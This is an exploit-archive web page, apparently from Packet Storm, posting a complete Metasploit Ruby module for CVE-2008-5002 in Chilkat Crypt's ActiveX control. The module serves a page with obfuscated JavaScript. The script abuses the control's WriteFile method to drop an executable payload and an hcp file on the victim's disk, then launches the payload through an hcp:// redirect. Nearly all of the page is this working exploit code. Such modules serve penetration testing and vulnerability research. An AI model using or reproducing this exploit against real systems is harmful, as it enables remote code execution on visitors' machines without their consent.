what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Chilkat Crypt ActiveX WriteFile Unsafe Method

Chilkat Crypt ActiveX WriteFile Unsafe Method
Posted Mar 5, 2010
Authored by shinnai, jduck | Site metasploit.com

This Metasploit module allows attackers to execute code via the 'WriteFile' unsafe method of Chilkat Software Inc's Crypt ActiveX control. This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to execute our payload immediately. However, this method requires that the victim user be browsing with Administrator. Additionally, this method will not work on newer versions of Windows. NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.

tags | exploit, protocol, activex
systems | windows
advisories | CVE-2008-5002
SHA-256 | f5fc358c931e5cad863d48c12b7b5bd2f2586f9cca6246339d327cfef13918bd

Chilkat Crypt ActiveX WriteFile Unsafe Method

Change Mirror Download
##
# $Id: chilkat_crypt_writefile.rb 8703 2010-03-03 21:17:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Chilkat Crypt ActiveX WriteFile Unsafe Method',
'Description' => %q{
This module allows attackers to execute code via the 'WriteFile' unsafe method of
Chilkat Software Inc's Crypt ActiveX control.

This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to
execute our payload immediately. However, this method requires that the victim user
be browsing with Administrator. Additionally, this method will not work on newer
versions of Windows.

NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at
the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.
},
'License' => MSF_LICENSE,
'Author' => [ 'shinnai', 'jduck' ],
'Version' => '$Revision: 8703 $',
'References' =>
[
[ 'CVE', '2008-5002' ],
[ 'OSVDB', '49510' ],
[ 'BID', '32073' ],
[ 'URL', 'http://www.exploit-db.com/exploits/6963' ]
],
'Payload' =>
{
'Space' => 2048
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0))

end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)

# Set parameters
fnname = rand_text_alpha(8+rand(8))
si_name = "msinfo" # must be this, other names don't seem to work
exe_name = rand_text_alpha(8+rand(8))
hcp_path = "C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\#{si_name}.htm"
hcp_url = "hcp:\\x2f\\x2fsystem/sysinfo/#{si_name}.htm"
exe_path = "C:\\#{exe_name}.exe"

# Generate HCP data
hcp_data = %Q|<object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>
<script language='vbscript'>
compatUI.RunApplication 1, "#{exe_path}", 1
</script>
|

# (Re-)Generate the EXE payload
return if ((p = regenerate_payload(cli)) == nil)
exe_data = Msf::Util::EXE.to_win32pe(framework,p.encoded)

# Encode variables
hcp_str = Rex::Text.to_unescape(hcp_data)
hcp_path.gsub!(/\\/, '\\\\\\\\')
exe_str = Rex::Text.to_unescape(exe_data)
exe_path.gsub!(/\\/, '\\\\\\\\')

# Build the final JS
js = %Q|
function #{fnname}()
{
var my_unescape = unescape;
var obj = new ActiveXObject("ChilkatCrypt2.ChilkatCrypt2");
var exe_path = "#{exe_path}";
var exe_str = "#{exe_str}";
var exe_data = my_unescape(exe_str);
obj.WriteFile(exe_path, exe_data);
var hcp_str = "#{hcp_str}";
var hcp_data = my_unescape(hcp_str);
var hcp_path = "#{hcp_path}";
obj.WriteFile(hcp_path, hcp_data);
window.location = "#{hcp_url}";
}
|

# Obfuscate the javascript
opts = {
'Strings' => false, # didn't work in this case
'Symbols' => {
'Variables' => %w{ my_unescape obj exe_path exe_str exe_data hcp_str hcp_data hcp_path }
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.obfuscate()

# Build the final HTML
content = %Q|<html>
<head>
<script language=javascript>
#{js}
</script>
</head>
<body onload="#{fnname}()">
Please wait...
</body>
</html>
|

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, content)

handler(cli)

end

end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close